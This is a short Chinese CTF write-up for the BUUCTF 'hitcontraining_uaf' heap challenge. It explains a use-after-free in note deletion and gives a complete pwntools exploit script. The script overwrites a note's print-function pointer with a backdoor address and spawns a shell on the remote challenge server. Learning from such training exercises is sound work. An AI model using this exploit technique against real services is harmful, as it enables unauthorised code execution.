BUUCTF Pwn hitcontraining_uaf WP
checksec:
32位 只开了NX
IDA32打开:
存在后门函数
查看add函数:
先创建了一个堆用于指向打印函数和内容区域,再创建输入大小的堆
delnote 没有清空指针 存在UAF
想法是创建两个大小相同的堆,然后free掉,这时两个具有打印函数的堆会在同一fastbin链表上;
此时malloc(8),会将该两个堆都申请出来 在malloc时能修改内容,将第一次申请的chunk的打印函数区域修改为目标函数
此时执行打印第一次申请的chunk 就能得到shell
exp:
from pwn import *#p = process('./hacknote')
p = remote("node5.buuoj.cn", 27867)
def add(size, content):p.sendlineafter("Your choice :", str(1))p.sendlineafter("Note size :", str(size))p.sendlineafter("Content :", content)def free(index):p.sendlineafter("Your choice :", str(2))p.sendlineafter("Index :", str(index))def show(index):p.sendlineafter("Your choice :", str(3))p.sendlineafter("Index :", str(index))add(0x20, b'aaaa')
add(0x20, b'aaaa')
free(0)
free(1)add(8, p32(0x08048945))
show(0)
p.interactive()